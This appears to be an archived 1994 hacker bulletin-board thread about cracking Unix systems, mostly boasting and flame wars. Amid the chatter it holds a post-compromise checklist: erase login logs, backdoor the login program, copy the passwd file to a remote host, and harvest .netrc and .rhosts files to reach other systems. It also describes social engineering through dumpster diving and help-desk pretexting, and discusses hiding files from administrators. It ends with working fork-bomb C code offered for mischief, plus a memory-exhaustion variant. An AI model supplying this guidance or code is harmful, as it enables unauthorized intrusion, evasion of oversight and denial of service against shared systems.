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account, unless the system is really high security you can probably get
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root if you know what your doing.
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ALSO, someone stated that a "x" or "*" means that it is an invalid
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account. That's not really true. As I have seen "*" used to mark a
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shadowed passwd file. It's used as a marker. I have also seen and heard
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of something like "x" bieng used to fill a place in the passwd field of a
|
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invalid account. Like they do it to uucp and other normally default
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accounts. This renders it impossbile to login to that account, but they
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need to be there for certain system operations.
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From cosmos@yabbs Sun Jan 23 13:05:16 1994
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From: cosmos@yabbs
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To: Fastjack@yabbs
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Subject: re: PW cracker
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Date: Sun Jan 23 13:05:16 1994
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Please dont condescend me. You are the one who does not know what he is
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talking about. Who the hell cares if the password is shared between
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several administrators. Once you have ANY given shell account you only
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then need to exploit any given number of holes and work from there. As
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for reading about it, I could lecture at hand for hours about password
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file manipulation. Read carefully before you try to appear
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knowleadgeable.
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Cosmos
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From Fastjack@yabbs Sun Jan 23 16:24:15 1994
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From: Fastjack@yabbs
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To: cosmos@yabbs
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Subject: re: PW cracker
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Date: Sun Jan 23 16:24:15 1994
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Ok cosmos...
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*sorry* for the _misunderstanding_. Guess I should stop trying to
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admin and just get back to cracking. I was in err; it is indeed possible
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to go root on *many* machines utilizing well-known security holes. It
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must be remembered that any site w/o a shadowed passwd file is <unlikely>
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[to put it midly...heheheh] to apply the patches that CERT deems
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necessary. Now that we have gotten past that point, why don't we discuss
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something interesting, like what you'd do with root once you had it.
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Besides the obvious, like set up an account for yourself (if no cron job
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runs to diff it w/ the hidden backup) read mail spool (booooooring) erase
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yourself from audit logs (ho hum, ho hum). Other that utilizing existing
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gains to allow further penetration, what is there? From someone who has
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experienced the phenomena of avatar, it ain't all it's cracked up to be.
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I'd like to hear some thoughts-- personal opinions; no flame wars because
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someone doesn't follow you 4 step process for cracking systems. And
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cosmos, just how long have you yourself been on Unix boxes, eh?
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Fastjack
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From cosmos@yabbs Sun Jan 23 16:32:51 1994
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From: cosmos@yabbs
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To: Fastjack@yabbs
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Subject: re: PW cracker
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Date: Sun Jan 23 16:32:51 1994
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I am still trying to comprehend what the hell "stop trying to admin and
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get back to cracking" means. UNIX boxes?? Well, 1983 was my first
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experience with UNIX as an OS. In 1985 I picked up an ATT UNIX miniframe
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running SYS V rel 2 with some BSD extensions and some rel 3 extensisons
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added later.
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What do you do?? Depends on your own personal choice. I always just
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enjoyed the hack initself. Once I got root, that was that. On to the
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next machine. I never destroyed shit or made accounts for friends etc...
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The only thing I can recall ever doing that was beyond getting root was
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downloading/transfering source code for AT&T Sys V rel 3.2.2 a few years
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back.
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I admin. I hack. They complement each other.
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Cosmos
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From Justin@yabbs Mon Jan 24 19:10:27 1994
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From: Justin@yabbs
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To: fastjack@yabbs
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Subject: new at this
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Date: Mon Jan 24 19:10:27 1994
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I've been reading some of the messages on the crack stuff for awhile now.
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I'm new to the UNIX based machines, but highly familer to the dos based
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stuff. The only way I was able to crack and IBM -based corp, was to drive
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by in my pickup at night before the weekly trash pickup, and nab about
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three good bags of garbage. This gave payroll receipts for employee names,
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etc. And also possible dialups. If I got lucky, I was able to call into
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the tech-support area (if the corporation was large enough) and claim to
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be "Bob from the LAN area remote sight who forgot his password." As an
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example. I have just enrolled as a freshman recently, and am new to the
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UNIX based network. I am quite frustrated of not being able to access
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certain community boards because I can't find their address to get a new
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log-on. Any help would be appericiated in code-cracking. -Justin
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From Fastjack@yabbs Mon Jan 24 19:29:39 1994
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From: Fastjack@yabbs
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To: Justin@yabbs
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Subject: re: new at this
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Date: Mon Jan 24 19:29:39 1994
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Okay, I'm not sure what you're asking...
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Do you mean the Internet IP numbers for Net BBSs that are local to you or
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phone numbers for PC boards near your school? Either way, best bet is to
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ask around there-- get to know some people who know what they are doing,
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ask questions, but don't ask questions you don't have to. Play around- do
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some work-- nobody apreciates giving away info to somebody who wants it
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all handed on a silver platter. Too many people like that on the Net.
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Just read, listen, and keep your mouth shut about anything you don't know
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about....
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About code-cracking: If you mean to crack Unix systems, it's best to
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get at least one legit account (I assume you have one) and proceed from
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there. Also, *don't* hack your own site-- they can get you easier and
|
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hurt you more if you do--and it doesn't help you in any way to crash your
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server...
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Fastjack
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From Fastjack@yabbs Mon Jan 24 20:03:23 1994
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From: Fastjack@yabbs
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To: cosmos@yabbs
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Subject: re: PW cracker
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Date: Mon Jan 24 20:03:23 1994
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Okay....What I meant by 'stop trying to admin and get back to cracking
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was that I've been spending amore time recently running shit (and I'm not
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used to it from an admin's view, but I need the experience) that I haven't
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been 'just cracking' like I used to-- Of course, I was stupid then, and I
|
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know a lot more than I did when I was younger-- but the net effect is
|
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similar. Instead of deciding whether to guess passwords or write simple
|
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trojan scripts, I now ponder the advantages of getting an Intel-based Unix
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on a 486 against a used Sun workstation. Guess it's good to broaden your
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horizons....From *both* points of view.
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I'd still like to hear from people what they would do as root-- those
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who have it as well as those who don't. I, I have it legit-- and it is
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boooooring...
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Fastjack
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From Nomad@yabbs Tue Jan 25 04:26:37 1994
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From: Nomad@yabbs
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To: Fastjack@yabbs
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Subject: First steps
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Date: Tue Jan 25 04:26:37 1994
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I can't believe that this is as lively as this sub gets....
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First steps for me AFTER gaining root:
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1) Check for the existance of security programs. Look in the crons,
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/etc/security, /usr/adm/messages*, /etc/syslogd.conf, and any others that
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|
come to mind.
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2) Remove myself from ALL logs possible. (utmp, wtmp, lastlog, and any
|
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other's found in syslogd.conf.
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3) Secure myself in (patch login, set up a port, rcp the passwd file to a
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remote host)
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4) Check out the system resources; How often do the telnet? Do they use
|
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tip or cu? If I feel that the site will yield something fruitful thenm
|
|
I set up the appropriate patches, etc. If not....
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5) Upload my find script (looks for alot of shit) and run it. Searches
|
|
for *.zip *.exe *.c .netrc .rhosts *.whatever.
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6) Check out the .netrc files! These things are great for infecting other
|
|
systems. type 'man netrc'
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7) Copy all .netrc and .rhosts files to my machine to insure future access
|
|
if my account dies or my patch is removed.
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8) Browse.... Erase core files (hell i don't know)... Look at mail. If
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they use cu and have it set up see if I can use it. Wow another Internet
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outdial.
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Well anyway I am recieving a talk request... I will respond to any and all
|
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comments from users.
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From cosmos@yabbs Tue Jan 25 05:39:52 1994
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From: cosmos@yabbs
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To: Fastjack@yabbs
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Subject: re: PW cracker
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Date: Tue Jan 25 05:39:52 1994
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BORING?? heh.
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I have it legit too. It is fun, ever chase a cracker through your
|
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system?? That makes for interesting work...
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Cosmos
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From nphire@yabbs Tue Jan 25 12:50:48 1994
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From: nphire@yabbs
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To: all@yabbs
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Subject: Dark Box
|
|
Date: Tue Jan 25 12:50:48 1994
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Anybody here ever built a Dark Box? If so, how'd it work?
|
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Thanx in advace.
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|
Neurophyre [KARMA/KRA]
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From cosmos@yabbs Tue Jan 25 13:14:17 1994
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From: cosmos@yabbs
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To: nphire@yabbs
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Subject: re: Dark Box
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Date: Tue Jan 25 13:14:17 1994
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Sorry, cannot resist.
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So what 3l33t |<-RaD gr00p does KARMA/KRA stand for??
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Cosmos
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From Justin@yabbs Tue Jan 25 13:52:33 1994
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From: Justin@yabbs
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To: Nomad@yabbs
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Subject: re: First steps
|
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Date: Tue Jan 25 13:52:33 1994
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This makes interesting reading. So for the amateur, when you've first
|
|
secured a "relatively secure Internet address, and let's say that you
|
|
wander upon a random board that you can't access, then how do you recon
|
|
the system? How do you find user names, or set up accounts? I think I'm
|
|
grasping the concept, and I'm listening. I'm just on shakey ground as
|
|
where to start. Any help however small would be greatly appericiated. -J
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From nphire@yabbs Tue Jan 25 15:09:32 1994
|
|
From: nphire@yabbs
|
|
To: cosmos@yabbs
|
|
Subject: AhBullShiyit
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|
Date: Tue Jan 25 15:09:32 1994
|
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|
|
Goddammit, will you quit ragging on me because of KARMA?! There is no
|
|
reason why you have to be such an ass about this. Now, I asked a question
|
|
about Dark Boxes. If you want to answer it, fine. If not, fine.
|
|
|
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|
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From cosmos@yabbs Tue Jan 25 15:21:57 1994
|
|
From: cosmos@yabbs
|
|
To: Justin@yabbs
|
|
Subject: re: First steps
|
|
Date: Tue Jan 25 15:21:57 1994
|
|
|
|
Forgive me if I am intruding, but what do you mean "board"?? If you are
|
|
referring to a bulletin board based server like yabbs then you are not
|
|
going to find a multitude of them. This is not ms-dos and windows weenie
|
|
land. Now explain to me why you would want to break into an internet BBS
|
|
anyway...90% if not 100% of them are public and accessible anyways.
|
|
|
|
To go on, if you want to compromise the security on an internet site then
|
|
the first approach is not to ask "hey, how do I do it" but to learn and
|
|
absorb the operating system. This is not the easiest of tasks. Unlike
|
|
the 80's, the internet is now relatively secure to the average attacker.
|
|
|
|
Learn UNIX. Learn it, study it, and live it. Get all the books you can
|
|
about UNIX, find a local provider, school, etc... and get aquainted to
|
|
using UNIX. If you are on an intel platform get netBSD(or LINUX if you
|
|
are inclined), macintosh get macBSD. Play with it and expirement with
|
|
everything. Yes, welcome to hacking 101. More books, time, and sweat
|
|
thatn any damn college course you will ever take.
|
|
|
|
NEVER beg for accounts, and expect a silver platter to be handed to you.
|
|
Hacking is not picking up some cool t-philes and typing some commands. It
|
|
is a philosophy and an intense understanding and knowledge of computers
|
|
and operating systems, and is not limited to the uebercracker(thank you
|
|
Dan Farmer) but to any person who accomplishes their goal through
|
|
undocumented or abstract methods.
|
|
|
|
My $.02
|
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|
Cosmos
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From cosmos@yabbs Tue Jan 25 15:23:12 1994
|
|
From: cosmos@yabbs
|
|
To: nphire@yabbs
|
|
Subject: re: AhBullShiyit
|
|
Date: Tue Jan 25 15:23:12 1994
|
|
|
|
oops. Sorry, I forgot how k00l Anarchy is.
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|
|
|
Live long and prosper.
|
|
|
|
Cosmos
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From Biro@yabbs Tue Jan 25 21:03:15 1994
|
|
From: Biro@yabbs
|
|
To: nphire@yabbs
|
|
Subject: a
|
|
Date: Tue Jan 25 21:03:15 1994
|
|
|
|
You still haven't told us what KRMA/KRA stands for.. we're dying to know.
|
|
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|
|
From Tele@yabbs Tue Jan 25 21:08:42 1994
|
|
From: Tele@yabbs
|
|
To: Biro@yabbs
|
|
Subject: re: a
|
|
Date: Tue Jan 25 21:08:42 1994
|
|
|
|
>You still haven't told us what KRMA/KRA stands for.. we're dying to know.
|
|
|
|
I always thought KARMA was an ansi group..
|
|
|
|
From cosmos@yabbs Tue Jan 25 21:18:05 1994
|
|
From: cosmos@yabbs
|
|
To: Tele@yabbs
|
|
Subject: re: a
|
|
Date: Tue Jan 25 21:18:05 1994
|
|
|
|
No No No.....I asked the 3l33t groupie himself:
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|
|
|
KARMA is an anarchist group. How original.
|
|
|
|
Cosmos
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|
|
From Fastjack@yabbs Tue Jan 25 22:55:34 1994
|
|
From: Fastjack@yabbs
|
|
To: cosmos@yabbs
|
|
Subject: re: PW cracker
|
|
Date: Tue Jan 25 22:55:34 1994
|
|
|
|
Well, no, I haven't had the full Cliff Stolle experience....
|
|
But the machine I run isn't scheduled to be up on the Net for a while-
|
|
don't want to rush things with the crackers graduating to real
|
|
systems
|
|
--But you learn a lot about security from being on the other end of it.
|
|
It's the best tutorial there is, imho.
|
|
Why don't you let us in a little on this cracker-- we had a kinda
|
|
interesting experience here at my school as well-- afraid I'd have to
|
|
relate it second-hand, though....
|
|
Fastjack
|
|
|
|
From Nomad@yabbs Tue Jan 25 23:39:09 1994
|
|
From: Nomad@yabbs
|
|
To: cosmos@yabbs
|
|
Subject: hacking...
|
|
Date: Tue Jan 25 23:39:09 1994
|
|
|
|
Chasing crackers:
|
|
There has gfot to be no greater experience in hacking than testing your
|
|
knowledge against another cracker's. I don't mean voice where you have
|
|
this little debate about who knows more or who is better. I mean online
|
|
where you don't know shit about him and he doesn't even know you see him.
|
|
This is especially nice if you have a few ways into the system and he is
|
|
using a hacked account. I have had this experience a few times and it is a
|
|
blast. I was on this small edu site with like twelve users and I fucking
|
|
gave this dude hell. Found all the ways I knew of to get root and disabled
|
|
them (rdist, etc); Found out where he was coming in from i case I needed
|
|
to hack his site. Looked at his .history to find out what he was doing.
|
|
Went to the current dir he was in amd moved the files he had put up
|
|
elsewhere for future use, and kicked him off with a little message ketting
|
|
him know I was a cracker and told him to fuck off and stay off my site..
|
|
That issued the challenge and he was right back. ps showed him doing a cat
|
|
> gimme to attempt to get root but it did not happen. I just toyed with
|
|
him for a while. Then wrote a little c program to make him sit there for a
|
|
long time and then log him out and put it in his passwd entry. I could
|
|
send him all sorts of hateful messages telling him how lame he was and
|
|
when the time limit ran out he would be logged out and he would try it
|
|
again. Finally he gave up. Christmas modemer..... hahah
|
|
|
|
UNIX: cosmos is right about learning Unix inside and out. I am far from
|
|
this but I feel that I know more than most (which isn't saying that much.)
|
|
I have read so many books on Unix that I cannot even list them all because
|
|
I forgot some of the title's. I remember one I spent a week reading this
|
|
one book at a local University cos I could not get a library card unless I
|
|
was a student. It took me an hour to get to the school on the bus and an
|
|
hour to get back, but I was committed. I feel that if you are going to
|
|
hack then you should do as much as you can by specializing in just a gfew
|
|
fields. No one person can master everything but if you take your skill and
|
|
put it together with a handful of people that you know and trust then you
|
|
will have yourself a nice little team of hackers. Otherwise you are just
|
|
going to be left out and you will just be doing the same thing over and
|
|
over again. One time I spoke to an ex hacker and he told me he quit
|
|
because hacking reminded him of the old cocaine commercial with the guy
|
|
walking around in a circle. He is correct about so many hackers out there.
|
|
Most never learn to program and really don't care to because they do not
|
|
want to commit themselves to LEARNING something. They feel that what they
|
|
are doing is fun and that there is no reason to learn how to program. I
|
|
admit that at one time I felt the same way. Then I learned C. The little
|
|
that I know about programming C on Unix has helped me immensely in my
|
|
hacking exploits. Now I can't believe I ever hacked without it.
|
|
|
|
Gives you something to think about.
|
|
|
|
Input please................
|
|
Nomad
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|
|
|
From Tele@yabbs Wed Jan 26 01:39:46 1994
|
|
From: Tele@yabbs
|
|
To: cosmos@yabbs
|
|
Subject: re: a
|
|
Date: Wed Jan 26 01:39:46 1994
|
|
|
|
>KARMA is an anarchist group. How original.
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|
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|
|
Well its gotta be better than the groups down here. <Orange Country
|
|
California>. Then again, im not too keen on groups to begin with.
|
|
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|
Tele
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From cosmos@yabbs Wed Jan 26 06:39:54 1994
|
|
From: cosmos@yabbs
|
|
To: Fastjack@yabbs
|
|
Subject: re: PW cracker
|
|
Date: Wed Jan 26 06:39:54 1994
|
|
|
|
*grin* How do you think I know this stuff. But you mature and go on.
|
|
System cracking is just plain not worth it anymore. IMHO, cracking a
|
|
system and fooling around and going to jail is not in my list of
|
|
objectives. Ruining my career over root is pointless.
|
|
|
|
Couple of years back I was completley the opposite...of course I grew up
|
|
in a kindler gentler arena to crack in. I got caught, I got offered a
|
|
job. Today I would get offered a cell, and a huge ass fine.
|
|
|
|
Cosmos
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|
|
|
|
|
From cosmos@yabbs Wed Jan 26 06:42:24 1994
|
|
From: cosmos@yabbs
|
|
To: Nomad@yabbs
|
|
Subject: re: hacking...
|
|
Date: Wed Jan 26 06:42:24 1994
|
|
|
|
Thank you, a perfect little anecdote. Now do that as legitamite root...;)
|
|
(thats what I am)
|
|
|
|
Cosmos
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|
|
From Nomad@yabbs Wed Jan 26 15:54:37 1994
|
|
From: Nomad@yabbs
|
|
To: cosmos@yabbs
|
|
Subject: re: hacking...
|
|
Date: Wed Jan 26 15:54:37 1994
|
|
|
|
Quit bragging.
|
|
|
|
From cosmos@yabbs Wed Jan 26 18:14:21 1994
|
|
From: cosmos@yabbs
|
|
To: Nomad@yabbs
|
|
Subject: re: hacking...
|
|
Date: Wed Jan 26 18:14:21 1994
|
|
|
|
|
|
About what??
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|
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|
Cosmos
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|
|
From Justin@yabbs Wed Jan 26 19:29:34 1994
|
|
From: Justin@yabbs
|
|
To: cosmos@yabbs
|
|
Subject: re: First steps
|
|
Date: Wed Jan 26 19:29:34 1994
|
|
|
|
Thanks for the help. I don't want it handed down on a silver platter, but
|
|
I had no idea where to start. You've been a great help to me, and now I'm
|
|
off to find some UNIX books. -Justin
|
|
|
|
From nphire@yabbs Wed Jan 26 22:40:21 1994
|
|
From: nphire@yabbs
|
|
To: cosmos@yabbs
|
|
Subject: re: AhBullShiyit
|
|
Date: Wed Jan 26 22:40:21 1994
|
|
|
|
Yay. I'll bet you did.
|
|
Anyway, I saw your earlier post. You can't accuse me of being a leech,
|
|
because as I said someplace I am trying to learn things. In fact, the
|
|
instant I get my damned 4 MB I'll be downloading Linux and attempting to
|
|
install it on my system so as to learn more.
|
|
See? I ain't that bad.
|
|
|
|
From nphire@yabbs Wed Jan 26 22:43:14 1994
|
|
From: nphire@yabbs
|
|
To: all@yabbs
|
|
Subject: whining about group
|
|
Date: Wed Jan 26 22:43:14 1994
|
|
|
|
Jesus christ. You call yourselves great and you dont even bother to find
|
|
out anything before condemning KARMA. As for you, cosmos: You are
|
|
posting all these high minded things and then tell everyone about how
|
|
KARMA is an anarchist group. If you had processed the info I gave you,
|
|
you would know this is not true. Its simply a name. We thought it looked
|
|
ok. Oh dammit.
|
|
|
|
From cosmos@yabbs Thu Jan 27 05:20:09 1994
|
|
From: cosmos@yabbs
|
|
To: nphire@yabbs
|
|
Subject: re: AhBullShiyit
|
|
Date: Thu Jan 27 05:20:09 1994
|
|
|
|
Yeah you are, you are installing linux! ;)
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|
Cosmos
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|
|
From Adonis@yabbs Thu Jan 27 06:49:37 1994
|
|
From: Adonis@yabbs
|
|
To: all@yabbs
|
|
Subject: You guys know nothing!
|
|
Date: Thu Jan 27 06:49:37 1994
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Ha!
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I am elite. I am a true hacker unlike you girlies. I have broken into
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military sites, banks, schools, and businesses. I can break into any
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system anywhere. YOu idiots wouldnt know hacking from a hole in the
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ground.
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Email me if you want real info! Only $49.95 for information on how to
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access systems worldwide.
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From abort@yabbs Thu Jan 27 13:40:37 1994
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From: abort@yabbs
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To: Adonis@yabbs
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Subject: re: You guys know nothing!
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Date: Thu Jan 27 13:40:37 1994
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HAHAHAHAHAHAHAHAHAHAHAHA
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apt name fer that schpleeel of schtuff
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if anyone has a place where I can pick up a TASM for really really cheap,
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let me know please. I can't get my assemler I have now to do some stuff
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that I relly need done.
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From JasonLee@yabbs Thu Jan 27 20:17:56 1994
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From: JasonLee@yabbs
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To: Adonis@yabbs
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Subject: re: You guys know nothing!
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Date: Thu Jan 27 20:17:56 1994
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Adonis said:
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Ha!
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I am elite. I am a true hacker unlike you girlies. I have broken into
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military sites, banks, schools, and businesses. I can break into any
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system anywhere. YOu idiots wouldnt know hacking from a hole in the
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ground.
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Email me if you want real info! Only $49.95 for information on how to
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access systems worldwide.
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JasonLee:
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Wow, I really hope this is a joke. Damn, I wish I could be like Adonis.
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JasonLee
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From Tele@yabbs Thu Jan 27 22:13:04 1994
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From: Tele@yabbs
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To: Adonis@yabbs
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Subject: re: You guys know nothing!
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Date: Thu Jan 27 22:13:04 1994
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ill take that as a joke.. it was a joke, was'nt it?
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From Case@yabbs Fri Jan 28 01:57:33 1994
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From: Case@yabbs
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To: Adonis@yabbs
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Subject: re: You guys know nothing!
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Date: Fri Jan 28 01:57:33 1994
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but does a REAL hacker unravel his identity?
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From Nomad@yabbs Fri Jan 28 02:08:47 1994
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From: Nomad@yabbs
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To: cosmos@yabbs
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Subject: re: hacking...
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Date: Fri Jan 28 02:08:47 1994
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Quit bragging about having legit root.. jeez
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I should not have to paint pictures, this is not a flame
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Nomad
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From Nomad@yabbs Fri Jan 28 02:28:39 1994
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From: Nomad@yabbs
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To: Adonis@yabbs
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Subject: re: You guys know nothing!
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Date: Fri Jan 28 02:28:39 1994
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Adonis has gvot to be lamest person. To make such a broad post like that
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even as a joke is fucking stupid. I could take the average computer user
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and teach him how to safely hack banks, schools, companies, etc in less
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than a week. If you were a good hacker you would realize that it doesn't
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matter how may systems you occupy, it's what you can get from each system.
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I will never be impressed by the quantity of systems a person has, I will
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only be impressed with the quality of the systems and the hacker's ability
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to yield the most from each system. Adonis has only told us war stories of
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his exploits (which are gvery vague) and he is just calling us lame. This
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tells me that he is just a beginner. Anyone that is really good realizes
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that he was once a novice and his knowledge did not come easy.
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Furthermore, he would be willing to help those starting out by helping
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them learn the things that they need to succeed in their projects, etc.
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Adonis, I hope that one day you will learn what hacking is all about. I
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know by experience that obtaining systems has got to be the easiest part
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of hacking. Utilizing the given resources given and yielding information
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from them is a little more complex. Each system you get in can serve some
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purpose, be it as an ip scanner, carrier scanner, modem access to a
|
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certain area code, a password cracking site, an archive site, a place for
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you to test your programs, a place to set up a mail address, a bbs site, a
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contact site for group members (if you are in a group) and much more. If
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you have skills that are exceptional, I would like to hear about them.
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Judging from your posts I can tell that the only things you know about
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hacking are running scripts that give you root (rdist, div/0, etc) and
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Cracking passwd files. You may have some patches but so do tons of people
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who will never learn how to program.
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This can be a big flame war or you can turn this into a learning
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experience for everyone including yourself.
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Nomad
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From cosmos@yabbs Fri Jan 28 05:32:49 1994
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From: cosmos@yabbs
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To: JasonLee@yabbs
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Subject: re: You guys know nothing!
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Date: Fri Jan 28 05:32:49 1994
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What? Well, I charge $99.95 for my info but you also get a t-shirt with
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my tips. How about you JasonLee?? Whats your going rate these days...
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:))
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Cosmos
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From cosmos@yabbs Fri Jan 28 09:01:15 1994
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From: cosmos@yabbs
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To: all@yabbs
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Subject: Usenet
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Date: Fri Jan 28 09:01:15 1994
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Anyone catch the *hilarious* usenet event of the day, proabably the
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funniest thing since Stephen Tanner's "I love little Boys" confession...
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Check out comp.security.misc where some idiot(who obviously had his
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account hacked) posted up the entire /etc/passwd file for some pubnix
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site.
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Id love to see the admins face...
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Cosmos
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From Adonis@yabbs Fri Jan 28 13:44:14 1994
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From: Adonis@yabbs
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To: all@yabbs
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Subject: Ha...lamers
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Date: Fri Jan 28 13:44:14 1994
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Ha, I am not lame. Nomad is lame. Watch out nomad Or I will nuke all of
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your accounts...
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From Xela@yabbs Fri Jan 28 14:35:44 1994
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From: Xela@yabbs
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To: all@yabbs
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Subject: Goddamn it...
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Date: Fri Jan 28 14:35:44 1994
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...why are you people so damn arrogant?
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On both sides of the issue, all that's done is bragging about ones
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friggin' ideals. Talk about real shit, peoples. That's what I read this
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message area for, not for 101 ways to brag.
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Look, cosmos, just get off your high horse and ignore those you hate
|
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so much if its a big deal to you!
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-Alex
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From panzer@yabbs Fri Jan 28 15:17:28 1994
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From: panzer@yabbs
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To: adonis@yabbs
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Subject: Rates...
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Date: Fri Jan 28 15:17:28 1994
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I am better than all you girlie hackers...
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I kick small executables in the face of wimpy sys-admins...
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My training can be yours for as little as $39.95 plus S/H...
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I am root on many systems...
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From JasonLee@yabbs Sat Jan 29 01:53:00 1994
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From: JasonLee@yabbs
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To: cosmos@yabbs
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Subject: re: You guys know nothing!
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Date: Sat Jan 29 01:53:00 1994
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Well, you know, I'm one of those high class hook^H^H^Hackers, so I won't
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reveal me rates. You know how the saying goes: If you have to ask....
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JasonLee
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From JasonLee@yabbs Sat Jan 29 01:53:35 1994
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From: JasonLee@yabbs
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To: Adonis@yabbs
|
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Subject: re: Ha...lamers
|
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Date: Sat Jan 29 01:53:35 1994
|
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All right, now we KNOW it's a joke!
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JasonLee
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From Nomad@yabbs Sat Jan 29 05:07:40 1994
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From: Nomad@yabbs
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To: Adonis@yabbs
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Subject: .
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Date: Sat Jan 29 05:07:40 1994
|
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Watch out for Nomad you guys.
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|
Weak. Let's get some discussion going on here. Surely someone has some
|
|
questions that need to be answered, I know I do.
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Hopefully that is the end of the flames but I know someone will have
|
|
something to say.
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|
Now for my question. I am looking for a way to hide files under unix. I
|
|
know that all the information is kept in dirent structures found in
|
|
dirent.h but I have been toying around and have not been successfully able
|
|
to accomplish this task. I spoke with someone the other day and they told
|
|
me that I needed to edit the inode tables in the superblock (I think
|
|
that's what he said, sounds crazy) and remove the inode from the available
|
|
list so that the file will not be overwritten. The only thing I am worried
|
|
about is that they file might get big enough to go over into other inodes
|
|
that will later be allocated and used. Does anyone know anything about
|
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this or have files pertaining to it. I would really appreciate it.
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|
Nomad
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From panzer@yabbs Sun Jan 30 02:43:32 1994
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From: panzer@yabbs
|
|
To: Nomad@yabbs
|
|
Subject: hidden files
|
|
Date: Sun Jan 30 02:43:32 1994
|
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|
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well the standard filename "..." can be used, but is old
|
|
If you are hiding it with inodes, etc, then you can't be expecting to
|
|
access it all the time... Why not just encrypt it?
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|
|
Another way to do things that is wierd, is to make a directory, copy the
|
|
file in there, and mount a filesystem on that directory. People can not
|
|
get to the file via normal ways, until the filesystem is de-mounted.
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|
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|
-Panzer
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From Biro@yabbs Sun Jan 30 05:13:03 1994
|
|
From: Biro@yabbs
|
|
To: Tele@yabbs
|
|
Subject: re: a
|
|
Date: Sun Jan 30 05:13:03 1994
|
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|
|
>>You still haven't told us what KRMA/KRA stands for.. we're dying to
|
|
know.
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|
> I always thought KARMA was an ansi group..
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|
|
ta.. their name never reached the forbidden shores of Australia
|
|
|
|
From iceman__@yabbs Sun Jan 30 14:22:38 1994
|
|
From: iceman__@yabbs
|
|
To: Fastjack@yabbs
|
|
Subject: re: PW cracker
|
|
Date: Sun Jan 30 14:22:38 1994
|
|
|
|
There are countless number of ways to gain root on different OS's like
|
|
SunOS, there are holes that Sun hasn't even released patches for, you can
|
|
gain root on 90% of SunOS systems on the net with the right knowledge.
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|
|
|
iceman
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|
From iceman__@yabbs Sun Jan 30 14:37:14 1994
|
|
From: iceman__@yabbs
|
|
To: all@yabbs
|
|
Subject: w0w
|
|
Date: Sun Jan 30 14:37:14 1994
|
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|
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|
This is funny, who the fuck give s a shit if you have legit root, I think
|
|
half the people here need to get off their high horses, half of you are
|
|
just looking for confrontations. Who the fuck gives a shit, it's not a
|
|
competition. If you think it's a competition, you need to get your
|
|
priorities straight. It doesn't matter at all how much you know, if your
|
|
an asshole, who would want to talk to you anyways? I'm just saying that
|
|
some of you need to lighten up drastically, you come out looking terribly
|
|
insecure, and thats what having an attitude is, insecurity. Don't even
|
|
bother replying if your gonna respond in the same way.
|
|
|
|
Hacking isn't about competition, it's not about who's superior, hacking
|
|
should be something you do or yourself, to learn, and help others learn.
|
|
|
|
Unix holes are no big deal, there are hundreds of scripts out there that
|
|
exploit every hole ever found, holes that Sun hasn't patched yet, are you
|
|
knowledgable enough to find them all on your own? Nobody is..
|
|
|
|
It's all about cooperation, nobody can get anywhere alone, flaming is
|
|
pointless.
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|
iceman
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GnUL0D!@@!$234
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werd
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|
h0h0h0
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From Nomad@yabbs Sun Jan 30 15:27:47 1994
|
|
From: Nomad@yabbs
|
|
To: all@yabbs
|
|
Subject: misc...
|
|
Date: Sun Jan 30 15:27:47 1994
|
|
|
|
Panzer, if I mount a file system then that will be a flag pointin to the
|
|
file I wish to hide. When the admin types mount and sees a new entry where
|
|
there was none before he is liable to just umount it. Crypting shit is ok
|
|
but I want other programs to be able to utilize my files. Fuck having to
|
|
decrypt it within a patch or something to add output. The ability to hide
|
|
it, make it there for about say 2 secs and then hide it again is much more
|
|
favorable.
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|
|
|
Iceman has a point, we're just lame.
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|
|
|
Nomad
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|
From panzer@yabbs Sun Jan 30 19:33:12 1994
|
|
From: panzer@yabbs
|
|
To: Nomad@yabbs
|
|
Subject: re: hiding
|
|
Date: Sun Jan 30 19:33:12 1994
|
|
|
|
Explain a little more of what you want to do. Crypting can be done in a
|
|
script. You just enter the passphrase at the beganning, and then after the
|
|
processing of the encrypted data.
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|
|
|
Remember that by storing data on someone elses machine, it is inherently
|
|
unsafe, and that sooner or later it will be discovered.
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|
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|
-Panzer
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|
|
|
Who knows that those with legit root learn faster than those without.
|
|
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|
|
From cosmos@yabbs Mon Jan 31 11:19:14 1994
|
|
From: cosmos@yabbs
|
|
To: all@yabbs
|
|
Subject: A nifty little C program...
|
|
Date: Mon Jan 31 11:19:14 1994
|
|
|
|
|
|
Here's something for a fun day on your local UNIX system,...
|
|
|
|
main()
|
|
{
|
|
for(;;)
|
|
{
|
|
malloc(1000);
|
|
fork();
|
|
}
|
|
}
|
|
|
|
type that puppy in and then compile it and then run it. Don't come
|
|
yelling at me when your sysadmin calls you up...
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|
Cosmos
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|
From abort@yabbs Mon Jan 31 15:55:28 1994
|
|
From: abort@yabbs
|
|
To: cosmos@yabbs
|
|
Subject: re: A nifty little C program...
|
|
Date: Mon Jan 31 15:55:28 1994
|
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|
|
HEHEHE that's a nice program there. allocate 1000 ram and then fork and
|
|
keep doing that until the cows come home, fork fork fork fork fork. GROW
|
|
GROW GROW System goes SLOW SLOW SLOW
|
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|
|
I GOT LINUX. hehe I got Linux installed finally with all the G++ stuff
|
|
and more. Too bad I dont have a way to get it wired to Inet 8(. I get to
|
|
learn a lot more about Unix now. It's amazing how much your knowledge
|
|
will jump when you have to actually set the thing up and admin it
|
|
yourself. Sysadmining is a hell of a way to learn to hack.
|
|
Now I just gotta teach myself some C++ on here.
|
|
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From Fastjack@yabbs Mon Jan 31 17:54:04 1994
|
|
From: Fastjack@yabbs
|
|
To: cosmos@yabbs
|
|
Subject: re: A nifty little C program...
|
|
Date: Mon Jan 31 17:54:04 1994
|
|
|
|
Heheheh, that's pretty lame.
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|
|
|
Not to mention it was the same one (exactly) as the one posted by
|
|
lpkruger@flagstaff.princeton.edu Mon Jan 31 00:29:00 Greenwich Mean.
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|
|
|
On alt.hackers. Go back and Check.
|
|
Now either you and he are one and the same person, who feels obligated to
|
|
show his cleverness to the world and empower everyone who can type 'cc'
|
|
[I prefer gcc myself], or you are one hell of a lame copycat.
|
|
|
|
That said, I will go on to state that the *BEST* way of learning Advanced
|
|
Unix hacking is to admin. 'Nuff said.
|
|
|
|
Fastjack
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|
From panzer@yabbs Mon Jan 31 18:21:22 1994
|
|
From: panzer@yabbs
|
|
To: all@yabbs
|
|
Subject: simple C program
|
|
Date: Mon Jan 31 18:21:22 1994
|
|
|
|
Basically if you run that simple little program on a Linux box, you will
|
|
completely crash the machine. It will not come back except via reboot.
|
|
You can also just write a program that recursively calls itself allocating
|
|
100k of mem or something. This way you hog mem as opposed to proccesses.
|
|
All depends what your objective is.
|
|
|
|
